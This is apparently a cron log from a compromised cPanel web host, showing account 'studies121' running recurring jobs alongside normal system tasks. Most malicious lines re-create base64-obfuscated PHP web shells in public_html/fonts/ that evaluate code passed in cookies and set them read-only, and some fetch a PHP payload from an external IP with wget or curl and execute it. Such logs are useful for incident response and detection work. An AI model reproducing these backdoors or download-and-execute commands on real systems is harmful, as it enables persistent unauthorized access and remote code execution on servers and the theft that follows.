Sep 10 23:55:01 ip-184-168-122-23 CROND[30060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:55:01 ip-184-168-122-23 CROND[30064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:56:01 ip-184-168-122-23 CROND[30146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:56:01 ip-184-168-122-23 CROND[30151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:56:01 ip-184-168-122-23 CROND[30149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:56:01 ip-184-168-122-23 CROND[30150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:56:01 ip-184-168-122-23 CROND[30152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:57:01 ip-184-168-122-23 CROND[30246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:57:01 ip-184-168-122-23 CROND[30248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:57:01 ip-184-168-122-23 CROND[30249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:57:01 ip-184-168-122-23 CROND[30250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:58:01 ip-184-168-122-23 CROND[30337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:58:02 ip-184-168-122-23 CROND[30339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:58:02 ip-184-168-122-23 CROND[30340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:58:02 ip-184-168-122-23 CROND[30341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:58:02 ip-184-168-122-23 CROND[30342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:59:01 ip-184-168-122-23 CROND[30432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:59:01 ip-184-168-122-23 CROND[30433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:59:01 ip-184-168-122-23 CROND[30434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:59:01 ip-184-168-122-23 CROND[30438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:00:01 ip-184-168-122-23 CROND[30605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:00:01 ip-184-168-122-23 CROND[30606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:00:01 ip-184-168-122-23 CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:00:01 ip-184-168-122-23 CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 00:01:01 ip-184-168-122-23 CROND[30717]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 00:01:01 ip-184-168-122-23 CROND[30720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:01:01 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:01:01 ip-184-168-122-23 CROND[30719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:01:01 ip-184-168-122-23 CROND[30721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:01:01 ip-184-168-122-23 CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30717]: starting 0anacron
Sep 11 00:01:01 ip-184-168-122-23 anacron[30739]: Anacron started on 2026-09-11
Sep 11 00:01:01 ip-184-168-122-23 anacron[30739]: Normal exit (0 jobs run)
Sep 11 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30741]: finished 0anacron
Sep 11 00:02:01 ip-184-168-122-23 CROND[30819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:02:01 ip-184-168-122-23 CROND[30821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:02:01 ip-184-168-122-23 CROND[30823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:02:01 ip-184-168-122-23 CROND[30824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:02:01 ip-184-168-122-23 CROND[30827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:03:01 ip-184-168-122-23 CROND[30913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:03:01 ip-184-168-122-23 CROND[30916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:03:01 ip-184-168-122-23 CROND[30915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:03:01 ip-184-168-122-23 CROND[30917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:04:01 ip-184-168-122-23 CROND[31010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:04:01 ip-184-168-122-23 CROND[31014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:04:01 ip-184-168-122-23 CROND[31012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:04:01 ip-184-168-122-23 CROND[31013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:04:01 ip-184-168-122-23 CROND[31015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:05:01 ip-184-168-122-23 CROND[31119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:05:01 ip-184-168-122-23 CROND[31122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:05:01 ip-184-168-122-23 CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:05:01 ip-184-168-122-23 CROND[31128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:05:01 ip-184-168-122-23 CROND[31127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:05:01 ip-184-168-122-23 CROND[31129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:05:01 ip-184-168-122-23 CROND[31130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:06:01 ip-184-168-122-23 CROND[31296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:06:01 ip-184-168-122-23 CROND[31297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:06:01 ip-184-168-122-23 CROND[31302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:06:01 ip-184-168-122-23 CROND[31300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:06:01 ip-184-168-122-23 CROND[31301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:07:01 ip-184-168-122-23 CROND[31386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:07:01 ip-184-168-122-23 CROND[31387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
